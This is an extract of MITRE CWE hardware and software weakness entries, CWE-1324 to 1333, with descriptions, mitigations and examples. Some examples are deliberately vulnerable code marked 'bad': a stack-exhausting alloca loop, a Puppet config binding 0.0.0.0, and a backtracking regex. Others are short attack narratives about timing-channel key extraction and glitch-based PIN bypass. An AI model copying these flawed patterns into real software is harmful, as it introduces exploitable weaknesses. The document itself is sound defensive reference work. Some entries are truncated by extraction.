In a SoC, traces generated from sources include security-sensitive IP blocks such as CPU (with tracing information such as instructions executed and memory operands), on-chip fabric (e.g., memory-transfer signals, transaction type and destination, and on-chip-firewall-error signals), power-management IP blocks (e.g., clock- and power-gating signals), and cryptographic coprocessors (e.g., cryptographic keys and intermediate values of crypto operations), among other non-security-sensitive IP blocks including timers and other functional blocks. The collected traces are then forwarded to the debug and trace interface used by the external hardware debugger.

Example Language: Other

(bad)

The traces do not have any privilege level attached to them. All collected traces can be viewed by any debugger (i.e., SoC designer, OEM debugger, or end user).

Example Language: Other

(good)

Some of the traces are SoC-design-house secrets, while some are OEM secrets. Few are end-user secrets and the rest are not security-sensitive. Tag all traces with the appropriate, privilege level at the source. The bits indicating the privilege level must be immutable in their transit from trace source to the final, trace sink. Debugger privilege level must be checked before providing access to traces.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-1324: Sensitive Information Accessible by Physical Probing of JTAG Interface

| | |
|---------------------------|-----------------------|
| Weakness ID : 1324 | Status : Draft |
| Structure : Simple | |
| Abstraction : Base | |

Description

Sensitive information in clear text on the JTAG interface may be examined by an eavesdropper, e.g. by placing a probe device on the interface such as a logic analyzer, or a corresponding software technique.

Extended Description

On a debug configuration with a remote host, unbeknownst to the host/user, an attacker with physical access to a target system places a probing device on the debug interface or software

related to the JTAG port e.g. device driver. While the authorized host/user performs sensitive operations to the target system, the attacker uses the probe to collect the JTAG traffic.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|------------------------------------|------|
| ChildOf |  | 300 | Channel Accessible by Non-Endpoint | 677 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Test/Debug IP (*Prevalence = Undetermined*)

Technology : System on Chip (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---|------------|
| Confidentiality | Read Memory Read Files or Directories Read Application Data | High |

Potential Mitigations

Phase: Manufacturing

Disable permanently the JTAG interface before releasing the system to untrusted users.

Effectiveness = High

Phase: Architecture and Design

Encrypt all information (traffic) on the JTAG interface using an approved algorithm (such as recommended by NIST). Encrypt the path from inside the chip to the trusted user application.

Effectiveness = High

Phase: Implementation

Block access to secret data from JTAG.

Effectiveness = High

Demonstrative Examples

Example 1:

A TAP accessible register is read/written by a JTAG based tool, for internal tool use for an authorized user. The JTAG based tool does not provide access to this data to an unauthorized user of the tool. However, the user can connect a probing device and collect the values directly from the JTAG interface, if no additional protections are employed.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-1325: Improperly Controlled Sequential Memory Allocation

| | |
|---------------------------|----------------------------|
| Weakness ID : 1325 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The product manages a group of objects or resources and performs a separate memory allocation for each object, but it does not properly limit the total amount of memory that is consumed by all of the combined objects.

Extended Description

While the product might limit the amount of memory that is allocated in a single operation for a single object (such as a malloc of an array), if an attacker can cause multiple objects to be allocated in separate operations, then this might cause higher total memory consumption than the developer intended, leading to a denial of service.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|------------|------|-----|--|------|
| ChildOf | B | 770 | Allocation of Resources Without Limits or Throttling | 1463 |
| PeerOf | V | 789 | Memory Allocation with Excessive Size Value | 1517 |
| CanPrecede | B | 476 | NULL Pointer Dereference | 1039 |

Weakness Ordinalities

Primary :

Applicable Platforms

Language : C (Prevalence = Undetermined)

Language : C++ (Prevalence = Undetermined)

Language : Language-Independent (Prevalence = Undetermined)

Alternate Terms

Stack Exhaustion : When a weakness allocates excessive memory on the stack, it is often described as "stack exhaustion," which is a technical impact of the weakness. This technical impact is often encountered as a consequence of CWE-789 and/or CWE-1325.

Common Consequences

| Scope | Impact | Likelihood |
|--------------|--|------------|
| Availability | DoS: Resource Consumption (Memory) <i>Not controlling memory allocation can result in a request for too much system memory, possibly leading to a crash of the application due to out-of-memory conditions, or the consumption of a large amount of memory on the system.</i> | |

Potential Mitigations

Phase: Implementation

Ensure multiple allocations of the same kind of object are properly tracked - possibly across multiple sessions, requests, or messages. Define an appropriate strategy for handling requests that exceed the limit, and consider supporting a configuration option so that the administrator can extend the amount of memory to be used if necessary.

Phase: Operation

Run the program using system-provided resource limits for memory. This might still cause the program to crash or exit, but the impact to the rest of the system will be minimized.

Demonstrative Examples

Example 1:

This example contains a small allocation of stack memory. When the program was first constructed, the number of times this memory was allocated was probably inconsequential and presented no problem. Over time, as the number of objects in the database grow, the number of allocations will grow - eventually consuming the available stack, i.e. "stack exhaustion." An attacker who is able to add elements to the database could cause stack exhaustion more rapidly than assumed by the developer.

Example Language: C

(bad)

```
// Gets the size from the number of objects in a database, which over time can conceivably get very large
int end_limit = get_nmr_obj_from_db();
int i;
int *base = NULL;
int *p = base;
for (i = 0; i < end_limit; i++)
{
    *p = alloca(sizeof(int *)); // Allocate memory on the stack
    p = *p; // Point to the next location to be saved
}
```

Since this uses `alloca()`, it allocates memory directly on the stack. If `end_limit` is large enough, then the stack can be entirely consumed.

Observed Examples

| Reference | Description |
|-----------------------|---|
| CVE-2020-36049 | JavaScript-based packet decoder uses concatenation of many small strings, causing out-of-memory (OOM) condition https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-36049 |
| CVE-2019-20176 | Product allocates a new buffer on the stack for each file in a directory, allowing stack exhaustion https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20176 |
| CVE-2013-1591 | Chain: an integer overflow (CWE-190) in the image size calculation causes an infinite loop (CWE-835) which sequentially allocates buffers without limits (CWE-1325) until the stack is full. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-1591 |

CWE-1326: Missing Immutable Root of Trust in Hardware

Weakness ID : 1326

Status: Draft

Structure : Simple

Abstraction : Base

Description

A missing immutable root of trust in the hardware results in the ability to bypass secure boot or execute untrusted or adversarial boot code.

Extended Description

A System-on-Chip (SoC) implements secure boot by verifying or authenticating signed boot code. The signing of the code is achieved by an entity that the SoC trusts. Before executing the boot code, the SoC verifies that the code or the public key with which the code has been signed has not been tampered with. The other data upon which the SoC depends are system-hardware settings in fuses such as whether "Secure Boot is enabled". These data play a crucial role in establishing a Root of Trust (RoT) to execute secure-boot flows.

One of the many ways RoT is achieved is by storing the code and data in memory or fuses. This memory should be immutable, i.e., once the RoT is programmed/provisioned in memory, that memory should be locked and prevented from further programming or writes. If the memory contents (i.e., RoT) are mutable, then an adversary can modify the RoT to execute their choice of code, resulting in a compromised secure boot.

Note that, for components like ROM, secure patching/update features should be supported to allow authenticated and authorized updates in the field.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|------|-----|------------------------------|------|
| ChildOf | [P] | 693 | Protection Mechanism Failure | 1384 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Security IP (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|----------------|---------------------------------------|------------|
| Authentication | Gain Privileges or Assume Identity | High |
| Authorization | Execute Unauthorized Code or Commands | |
| | Modify Memory | |

Detection Methods

Automated Dynamic Analysis

Automated testing can verify that RoT components are immutable.

Effectiveness = High

Architecture or Design Review

Root of trust elements and memory should be part of architecture and design reviews.

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

When architecting the system, the RoT should be designated for storage in a memory that does not allow further programming/writes.

Phase: Implementation

During implementation and test, the RoT memory location should be demonstrated to not allow further programming/writes.

Demonstrative Examples

Example 1:

The RoT is stored in memory. This memory can be modified by an adversary. For example, if an SoC implements “Secure Boot” by storing the boot code in an off-chip/on-chip flash, the contents of the flash can be modified by using a flash programmer. Similarly, if the boot code is stored in ROM (Read-Only Memory) but the public key or the hash of the public key (used to enable “Secure Boot”) is stored in Flash or a memory that is susceptible to modifications or writes, the implementation is vulnerable.

In general, if the boot code, key materials and data that enable “Secure Boot” are all mutable, the implementation is vulnerable.

Good architecture defines RoT as immutable in hardware. One of the best ways to achieve immutability is to store boot code, public key or hash of the public key and other relevant data in Read-Only Memory (ROM) or One-Time Programmable (OTP) memory that prevents further programming or writes.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-1327: Binding to an Unrestricted IP Address

Weakness ID : 1327

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The product assigns the address 0.0.0.0 for a database server, a cloud service/instance, or any computing resource that communicates remotely.

Extended Description

When a server binds to the address 0.0.0.0, it allows connections from every IP address on the local machine, effectively exposing the server to every possible network. This might be much broader access than intended by the developer or administrator, who might only be expecting the server to be reachable from a single interface/network.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|--------------------------------------|------|
| ChildOf |  | 668 | Exposure of Resource to Wrong Sphere | 1342 |

Applicable Platforms

Language : Other (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Web Server (*Prevalence = Undetermined*)

Technology : Client Server (*Prevalence = Undetermined*)

Technology : Cloud Computing (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|--------------|--------------------|------------|
| Availability | DoS: Amplification | High |

Potential Mitigations

Phase: System Configuration

Assign IP addresses that are not 0.0.0.0.

Effectiveness = High

Phase: System Configuration

Strategy = Firewall

Unwanted connections to the configured server may be denied through a firewall or other packet filtering measures.

Effectiveness = High

Demonstrative Examples

Example 1:

The following code snippet uses 0.0.0.0 in a Puppet script.

Example Language: Other (bad)

```
signingserver::instance {
  "nightly-key-signing-server":
    listenaddr => "0.0.0.0",
    port => "9100",
    code_tag => "SIGNING_SERVER",
}
```

The Puppet code snippet is used to provision a signing server that will use 0.0.0.0 to accept traffic. However, as 0.0.0.0 is unrestricted, malicious users may use this IP address to launch frequent requests and cause denial of service attacks.

Example Language: Other (good)

```
signingserver::instance {
  "nightly-key-signing-server":
    listenaddr => "127.0.0.1",
    port => "9100",
    code_tag => "SIGNING_SERVER",
}
```

CWE-1328: Security Version Number Mutable to Older Versions

| | |
|--------------------|---------------|
| Weakness ID : 1328 | Status: Draft |
| Structure : Simple | |
| Abstraction : Base | |

Description

Security-version number in hardware is mutable, resulting in the ability to downgrade (roll-back) the boot firmware to vulnerable code versions.

Extended Description

A System-on-Chip (SoC) implements secure boot or verified boot. It might support a security version number, which prevents downgrading the current firmware to a vulnerable version. Once downgraded to a previous version, an adversary can launch exploits on the SoC and thus compromise the security of the SoC. These downgrade attacks are also referred to as roll-back attacks.

The security version number must be stored securely and persistently across power-on resets. A common weakness is that the security version number is modifiable by an adversary, allowing roll-back or downgrade attacks or, under certain circumstances, preventing upgrades (i.e. Denial-of-Service on upgrades). In both cases, the SoC is in a vulnerable state.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|---|---|------------|
| Confidentiality Integrity Authentication Authorization | Other <i>Impact includes roll-back or downgrade to a vulnerable version of the firmware or DoS (prevent upgrades).</i> | High |

Detection Methods

Automated Dynamic Analysis

Mutability of stored security version numbers and programming with older firmware images should be part of automated testing.

Effectiveness = High

Architecture or Design Review

Anti-roll-back features should be reviewed as part of Architecture or Design review.

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

When architecting the system, security version data should be designated for storage in registers that are either read-only or have access controls that prevent modification by an untrusted agent.

Phase: Implementation

During implementation and test, security version data should be demonstrated to be read-only and access controls should be validated.

Demonstrative Examples

Example 1:

A new version of firmware is signed with a security version number higher than the previous version. During the firmware update process the SoC checks for the security version number and upgrades the SoC firmware with the latest version. This security version number is stored in persistent memory upon successful upgrade for use across power-on resets.

In general, if the security version number is mutable, the implementation is vulnerable. A mutable security version number allows an adversary to change the security version to a lower value to allow roll-back or to a higher value to prevent future upgrades.

The security version number should be stored in immutable hardware such as fuses, and the writes to these fuses should be highly access-controlled with appropriate authentication and authorization protections.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

|----------|--|
| 176 | Configuration/Environment Manipulation |

CWE-1329: Reliance on Component That is Not Updateable

Weakness ID : 1329

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The product contains a component that cannot be updated or patched in order to remove vulnerabilities or significant bugs.

Extended Description

If the component is discovered to contain a vulnerability or critical bug, but the issue cannot be fixed using an update or patch, then the product's operator will not be able to protect against the issue. This could leave the product open to attacker exploitation or critical operation failures.

In industries such as healthcare, "legacy" devices can be operated for decades. As a US task force report notes, "the inability to update or replace equipment has both large and small health care delivery organizations struggle with numerous unsupported legacy systems that cannot easily be replaced (hardware, software and operating systems) with large numbers of vulnerabilities and few modern countermeasures." [REF-1197]

While hardware can be prone to this weakness, software systems can also be affected, such as when a third-party driver or library is no longer actively maintained or supported but is still critical for the required functionality.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|----------|------|------|---|------|
| ChildOf | I | 664 | Improper Control of a Resource Through its Lifetime | 1328 |
| ParentOf | B | 1277 | Firmware Not Updateable | 1903 |
| ParentOf | B | 1310 | Missing Ability to Patch ROM Code | 1958 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-------|---|------------|
| Other | Quality Degradation Reduce Maintainability | |

Potential Mitigations

Phase: Requirements

Specify requirements that each component should be updateable.

Phase: Architecture and Design

Design the product to allow for updating of its components. Consider the infrastructure that might be necessary to support updates.

Phase: Implementation

Implement the necessary functionality to allow each component to be updated.

Demonstrative Examples

Example 1:

A refrigerator has an Internet interface for the official purpose of alerting the manufacturer when that refrigerator detects a fault. Because the device is attached to the Internet, the refrigerator is a target for hackers who may wish to use the device other potentially more nefarious purposes.

Example Language: Other

(bad)

The refrigerator has no means of patching and is hacked becoming a spewer of email spam.

Example Language: Other

(good)

The device automatically patches itself and provides considerable more protection against being hacked.

Example 2:

A System-on-Chip (SOC) implements a Root-of-Trust (RoT) in ROM to boot secure code. However, at times this ROM code might have security vulnerabilities and need to be patched. Since ROM is immutable, it can be impossible to patch.

ROM does not have built-in application-programming interfaces (APIs) to patch if the code is vulnerable. Implement mechanisms to patch the vulnerable ROM code.

Notes

Maintenance

This entry is still under development and will continue to see updates and content improvements.

CWE-1330: Remanent Data Readable after Memory Erase

Weakness ID : 1330

Status: Draft

Structure : Simple

Abstraction : Variant

Description

Confidential information stored in memory circuits is readable or recoverable after being cleared or erased.

Extended Description

Data remanence occurs when stored, memory content is not fully lost after a memory-clear or -erase operation. Confidential memory contents can still be readable through data remanence in the hardware.

Data remanence can occur because of performance optimization or memory organization during 'clear' or 'erase' operations, like a design that allows the memory-organization metadata (e.g., file pointers) to be erased without erasing the actual memory content. To protect against this weakness, memory devices will often support different commands for optimized memory erase and explicit secure erase.

Data remanence can also happen because of the physical properties of memory circuits in use. For example, static, random-access-memory (SRAM) and dynamic, random-access-memory (DRAM) data retention is based on the charge retained in the memory cell, which depends on factors such as power supply, refresh rates, and temperature.

Other than explicit erase commands, self-encrypting, secure-memory devices can also support secure erase through cryptographic erase commands. In such designs, only the decryption keys for encrypted data stored on the device are erased. That is, the stored data are always remnant in the media after a cryptographic erase. However, only the encrypted data can be extracted. Thus, protection against data recovery in such designs relies on the strength of the encryption algorithm.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

| Nature | Type | ID | Name | Page |
|---------|---|------|---|------|
| ChildOf |  | 1301 | Insufficient or Incomplete Data Removal within Hardware Component | 1950 |

Relevant to the view "Hardware Design" (CWE-1194)

| Nature | Type | ID | Name | Page |
|---------|---|------|---|------|
| ChildOf |  | 1301 | Insufficient or Incomplete Data Removal within Hardware Component | 1950 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Security IP (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|---|------------------------------|------------|
| Confidentiality | Modify Memory Read Memory | |
| <i>Confidential data are readable to untrusted agent.</i> | | |

Detection Methods

Architecture or Design Review

Testing of memory-device contents after clearing or erase commands. Dynamic analysis of memory contents during device operation to detect specific, confidential assets. Architecture and design analysis of memory clear and erase operations.

Dynamic Analysis with Manual Results Interpretation

Testing of memory-device contents after clearing or erase commands. Dynamic analysis of memory contents during device operation to detect specific, confidential assets. Architecture and design analysis of memory clear and erase operations.

Potential Mitigations

Phase: Architecture and Design

Support for secure-erase commands that apply multiple cycles of overwriting memory with known patterns and of erasing actual content. Support for cryptographic erase in self-encrypting, memory devices. External, physical tools to erase memory such as ultraviolet-rays-based erase of Electrically erasable, programmable, read-only memory (EEPROM). Physical destruction of media device. This is done for repurposed or scrapped devices that are no longer in use.

Demonstrative Examples

Example 1:

Consider a device that uses flash memory for non-volatile-data storage. To optimize flash-access performance or reliable-flash lifetime, the device might limit the number of flash writes/erases by maintaining some state in internal SRAM and only committing changes to flash memory periodically.

The device also supports user reset to factory defaults with the expectation that all personal information is erased from the device after this operation. On factory reset, user files are erased using explicit, erase commands supported by the flash device.

In the given, system design, the flash-file system can support performance-optimized erase such that only the file metadata are erased and not the content. If this optimized erase is used for files containing user data during factory-reset flow, then device, flash memory can contain remanent data from these files.

On device-factory reset, the implementation might not erase these copies, since the file organization has changed and the flash file system does not have the metadata to track all previous copies.

A flash-memory region that is used by a flash-file system should be fully erased as part of the factory-reset flow. This should include secure-erase flow for the flash media such as overwriting patterns multiple times followed by erase.

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2019-8575 | Firmware Data Deletion Vulnerability in which a base station factory reset might not delete all user information. The impact of this enables a new owner of a used device that has been "factory-default reset" with a vulnerable firmware version can still retrieve, at least, the previous owner's wireless network name, and the previous owner's wireless security (such as WPA2) key. This issue was addressed with improved, data deletion. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8575 |

CWE-1331: Improper Isolation of Shared Resources in Network On Chip (NoC)

| | |
|---------------------------|------------------------|
| Weakness ID : 1331 | Status : Stable |
| Structure : Simple | |
| Abstraction : Base | |

Description

The Network On Chip (NoC) does not isolate or incorrectly isolates its on-chip-fabric and internal resources such that they are shared between trusted and untrusted agents, creating timing channels.

Extended Description

Typically, network on chips (NoC) have many internal resources that are shared between packets from different trust domains. These resources include internal buffers, crossbars and switches, individual ports, and channels. The sharing of resources causes contention and introduces interference between differently trusted domains, which poses a security threat via a timing channel, allowing attackers to infer data that belongs to a trusted agent. This may also result in introducing network interference, resulting in degraded throughput and latency.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Primary :

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Security IP (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Background Details

"Network-on-chip" (NoC) is a commonly-used term used for hardware interconnect fabrics used by multicore Systems-on-Chip (SoC). Communication between modules on the chip uses packet-based methods, with improved efficiency and scalability compared to bus architectures [REF-1241].

Common Consequences

| Scope | Impact | Likelihood |
|---------------------------------|--|------------|
| Confidentiality Availability | DoS: Resource Consumption (Other) Varies by Context Other <i>Attackers may infer data that belongs to a trusted agent; the methods used to perform this attack may result in noticeably increased resource consumption.</i> | Medium |

Detection Methods

Manual Analysis

Providing marker flags to send through the interfaces coupled with examination of which users are able to read or manipulate the flags will help verify that the proper isolation has been achieved and is effective.

Effectiveness = Moderate

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Implement priority-based arbitration inside the NoC and have dedicated buffers or virtual channels for routing secret data from trusted agents.

Demonstrative Examples

Example 1:

Consider a NoC that implements a one-dimensional mesh network with four nodes. This supports two flows: Flow A from node 0 to node 3 (via node 1 and node 2) and Flow B from node 1 to node 2. Flows A and B share a common link between Node 1 and Node 2. Only one flow can use the link in each cycle.

One of the masters to this NoC implements a cryptographic algorithm (RSA), and another master to the NoC is a core that can be exercised by an attacker. The RSA algorithm performs a modulo multiplication of two large numbers and depends on each bit of the secret key. The algorithm examines each bit in the secret key and only performs multiplication if the bit is 1. This algorithm

is known to be prone to timing attacks. Whenever RSA performs multiplication, there is additional network traffic to the memory controller. One of the reasons for this is cache conflicts.

Since this is a one-dimensional mesh, only one flow can use the link in each cycle. Also, packets from the attack program and the RSA program share the output port of the network-on-chip. This contention results in network interference, and the throughput and latency of one flow can be affected by the other flow's demand.

Example Language:

(attack)

The attacker runs a loop program on the core they control, and this causes a cache miss in every iteration for the RSA algorithm. Thus, by observing network-traffic bandwidth and timing, the attack program can determine when the RSA algorithm is doing a multiply operation (i.e., when the secret key bit is 1) and eventually extract the entire, secret key.

There may be different ways to fix this particular weakness.

Example Language: Other

(good)

Implement priority-based arbitration inside the NoC and have dedicated buffers or virtual channels for routing secret data from trusted agents.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-1332: Improper Handling of Faults that Lead to Instruction Skips

Weakness ID : 1332

Status: Stable

Structure : Simple

Abstraction : Base

Description

The device is missing or incorrectly implements circuitry or sensors that detect and mitigate the skipping of security-critical CPU instructions when they occur.

Extended Description

The operating conditions of hardware may change in ways that cause unexpected behavior to occur, including the skipping of security-critical CPU instructions. Generally, this can occur due to electrical disturbances or when the device operates outside of its expected conditions.

In practice, application code may contain conditional branches that are security-sensitive (e.g., accepting or rejecting a user-provided password). These conditional branches are typically implemented by a single conditional branch instruction in the program binary which, if skipped, may lead to effectively flipping the branch condition - i.e., causing the wrong security-sensitive branch to be taken. This affects processes such as firmware authentication, password verification, and other security-sensitive decision points.

Attackers can use fault injection techniques to alter the operating conditions of hardware so that security-critical instructions are skipped more frequently or more reliably than they would in a "natural" setting.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|------|-----|--|------|
| ChildOf | I P | 703 | Improper Check or Handling of Exceptional Conditions | 1394 |

Relevant to the view "Hardware Design" (CWE-1194)

| Nature | Type | ID | Name | Page |
|--------|------|------|--|------|
| PeerOf | B | 1247 | Improper Protection Against Voltage and Clock Glitches | 1837 |

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : System on Chip (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|--|--|------------|
| Confidentiality Integrity Authentication | Bypass Protection Mechanism Alter Execution Logic Unexpected State <i>Depending on the context, instruction skipping can have a broad range of consequences related to the generic bypassing of security critical code.</i> | High |

Detection Methods

Automated Static Analysis

This weakness can be found using automated static analysis once a developer has indicated which code paths are critical to protect.

Effectiveness = Moderate

Simulation / Emulation

This weakness can be found using automated dynamic analysis. Both emulation of a CPU with instruction skips, as well as RTL simulation of a CPU IP, can indicate parts of the code that are sensitive to faults due to instruction skips.

Effectiveness = Moderate

Manual Analysis

This weakness can be found using manual (static) analysis. The analyst has security objectives that are matched against the high-level code. This method is less precise than emulation, especially if the analysis is done at the higher level language rather than at assembly level.

Effectiveness = Moderate

Potential Mitigations

Phase: Architecture and Design

Design strategies for ensuring safe failure if inputs such as Vcc are modified out of acceptable ranges.

Phase: Architecture and Design

Design strategies for ensuring safe behavior if instructions attempt to be skipped.

Phase: Implementation

Ensure that architected fault mitigations are strong enough in practice. For example, a low power detection mechanism that takes 50 clock cycles to trigger at lower voltages may be an insufficient security mechanism if the instruction counter has already progressed with no other CPU activity occurring.

Demonstrative Examples

Example 1:

A smart card contains authentication credentials that are used as authorization to enter a building. The credentials are only accessible when a correct PIN is presented to the card.

Example Language:

(bad)

The card emits the credentials when a voltage anomaly is injected into the power line to the device at a particular time after providing an incorrect PIN to the card, causing the internal program to accept the incorrect PIN.

There are several ways this weakness could be fixed.

Example Language:

(good)

- add an internal filter or internal power supply in series with the power supply pin on the device
- add sensing circuitry to reset the device if out of tolerance conditions are detected
- add additional execution sensing circuits to monitor the execution order for anomalies and abort the action or reset the device under fault conditions

Observed Examples

| Reference | Description |
|-----------------------|--|
| CVE-2019-15894 | fault injection attack bypasses the verification mode, potentially allowing arbitrary code execution. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15894 |

CWE-1333: Inefficient Regular Expression Complexity

| | |
|---------------------------|-----------------------|
| Weakness ID : 1333 | Status : Draft |
| Structure : Simple | |
| Abstraction : Base | |

Description

The product uses a regular expression with an inefficient, possibly exponential worst-case computational complexity that consumes excessive CPU cycles.

Extended Description

Some regular expression engines have a feature called "backtracking". If the token cannot match, the engine "backtracks" to a position that may result in a different token that can match. Backtracking becomes a weakness if all of these conditions are met:

- The number of possible backtracking attempts are exponential relative to the length of the input.
- The input can fail to match the regular expression.
- The input can be long enough.

Attackers can create crafted inputs that intentionally cause the regular expression to use excessive backtracking in a way that causes the CPU consumption to spike.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|------------------------------------|------|
| ChildOf |  | 185 | Incorrect Regular Expression | 435 |
| ChildOf |  | 407 | Inefficient Algorithmic Complexity | 912 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Alternate Terms

ReDoS : ReDoS is an abbreviation of "Regular expression Denial of Service".

Regular Expression Denial of Service : While this term is attack-focused, this is commonly used to describe the weakness.

Catastrophic backtracking : This term is used to describe the behavior of the regular expression as a negative technical impact.

Likelihood Of Exploit

High

Common Consequences

| Scope | Impact | Likelihood |
|--------------|---------------------------------|------------|
| Availability | DoS: Resource Consumption (CPU) | High |

Potential Mitigations

Phase: Architecture and Design

Use regular expressions that do not support backtracking, e.g. by removing nested quantifiers.

Effectiveness = High

This is one of the few effective solutions when using user-provided regular expressions.

Phase: System Configuration

Configure backtracking limits in the configuration of the regular expression implementation, such as PHP's `pcre.backtrack_limit`. Also consider limits on execution time for the process.

Effectiveness = Moderate

Phase: Implementation

Do not use regular expressions with untrusted input. If regular expressions must be used, avoid using backtracking in the expression.

Effectiveness = High

Phase: Implementation

Limit the length of the input that the regular expression will process.

Effectiveness = Moderate

Demonstrative Examples

Example 1:

This example attempts to check if an input string is a "sentence" [REF-1164].

Example Language: JavaScript

(bad)

```
var test_string = "Bad characters: $@#";
var bad_pattern = /^(w+\s?)*$/i;
```

```
var result = test_string.search(bad_pattern);
```

